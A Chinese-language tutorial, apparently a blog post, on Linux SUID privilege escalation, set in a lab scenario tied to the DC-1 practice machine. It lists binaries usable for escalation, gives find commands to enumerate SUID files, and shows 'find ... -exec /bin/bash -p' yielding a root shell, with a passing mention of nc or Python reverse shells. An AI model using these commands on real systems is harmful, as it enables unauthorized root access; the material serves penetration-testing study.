目录
SUID
SUID可以让调用者以文件拥有者的身份运行该文件,所以我们利用SUID提权的思路就是运行root用户所拥有的SUID的文件,那么我们运行该文件的时候就得获得root用户的身份了。
已知的可用来提权的linux可行性的文件列表如下:
- nmap
- vim
- find
- bash
- more
- less
- nano
- cp
如下,新建一个2.txt的文件。我们查看权限为 -rw-r--r--。接下来我们加上suid权限,即让执行该命令的用户以命令拥有者即root的权限去执行。意思就是当普通用户执行2.txt时会拥有root权限
-rwsr-xr-x –用's'字符代替'-'表示SUID位被设置
chmod u+s 文件名
我们可以用以下命令发现系统上运行的所有SUID可执行文件。
#以下命令将尝试查找具有root权限的SUID的文件,不同系统适用于不同的命令,一个一个试
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000-print2>/dev/null
find / -user root -perm -4000-exec ls -ldb {} \;
1. 利用find文件提权
实验环境:
假如我们现在拿到了一个网站服务器的shell,但是权限是普通用户,我们现在需要提权到 root 用户权限。
此时,我们首先查看具有root用户权限的SUID文件
find / -perm -u=s -type f 2>/dev/null
这里我们发现了find文件(因为实验需要,这里find文件的suid权限是我自己加上去的)
继续查看find信息,确实是root权限的suid文件
接下来我们就用find进行权限提升,执行如下命令,显示root
/usr/bin/find 系统中存在的文件名 -exec 命令 \;
即,我们可以继续执行以下命令,可以看到获取的shell为root权限。
find /etc/passwd -exec /bin/bash -p \;
ps:这里也可以通过nc或则python脚本进行反弹,但本质上目的都是获取一个root权限的shell。而且通过nc或者python脚本反弹的shell很可能还是普通用户权限,所以建议直接使用上面那种方法。
vulnhub靶机DC-1渗透—SUID提权
——> https://chenchena.blog.csdn.net/article/details/123617568